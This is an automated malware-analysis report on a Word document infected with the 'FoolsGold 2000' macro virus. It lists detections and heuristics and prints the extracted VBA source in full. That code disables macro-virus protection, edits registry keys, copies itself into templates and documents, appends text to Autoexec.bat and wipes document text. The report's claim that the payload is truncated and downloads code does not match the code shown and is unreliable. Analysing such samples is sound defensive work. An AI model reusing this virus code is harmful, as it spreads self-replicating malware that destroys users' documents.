MALICIOUS
248
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
This legacy Word document contains a WordBasic macro virus, identified by multiple heuristics and ClamAV detections. The AutoOpen macro attempts to infect other documents by exporting and importing VBA components, and it also attempts to modify registry keys related to Word security and system ownership. The script also contains a call to a 'Payload' subroutine which is truncated but likely intended to download or execute further malicious code.
Heuristics 5
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3182 bytes |
SHA-256: b93a62f80a25c773f0e1f0f796fd348003b58427d6a562a67c0e7c0e90aa7ddd |
|||
|
Detection
ClamAV:
Doc.Trojan.Fool-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Fool"
Sub AutoOpen()
'FoolsGold 2000 Virus V2.00
'The WaLRuS 04/00
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
ActiveDocument.ReadOnlyRecommended = False
If (Second(Now()) > 50) Then System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
If Day(Now) = 31 Then Call Payload
Set Norm = NormalTemplate.VBProject.VBComponents
Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Fool").Name <> "Fool" Then
Doc("Fool").Export "c:\Fool.drv"
Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("Fool").Name <> "Fool" Then
Norm("Fool").Export "c:\Fool.drv"
Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Fool.drv")
Kill ("c:\Fool.drv")
ActiveDocument.Save
End Sub
Sub HelpAbout()
On Error Resume Next
Call Payload
End Sub
Sub Payload()
On Error Resume Next
MsgBox "FoolsGold 2000 by The WaLRuS", vbInformation
Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "FoolsGold 2000 Thanks You!"
.Heading = "GREETINGS"
.Show
End With
SetAttr "C:\Autoexec.bat", 0
Open "C:\Autoexec.bat" For Append As #1
Print #1, "CLS"
Print #1, "ECHO ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·"
Print #1, "ECHO º ***************************************** º"
Print #1, "ECHO º * FoolsGold 2000 Virus by The WaLRuS * º"
Print #1, "ECHO º ***************************************** º"
Print #1, "ECHO º The Fools Gold Virus wishes to thank the º"
Print #1, "ECHO º user of this computer because you have º"
Print #1, "ECHO º helped to spread the good words of peace! º"
Print #1, "ECHO º WaLRuS º"
Print #1, "ECHO ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ"
Close #1
Finish:
End Sub
Sub ToolsMacro()
On Error Resume Next
Call Stealthy
End Sub
Sub FileTemplates()
On Error Resume Next
Call Stealthy
End Sub
Sub ViewVBCode()
On Error Resume Next
Call Stealthy
End Sub
Sub Stealthy()
On Error Resume Next
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
ActiveDocument.Save
Call Payload
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.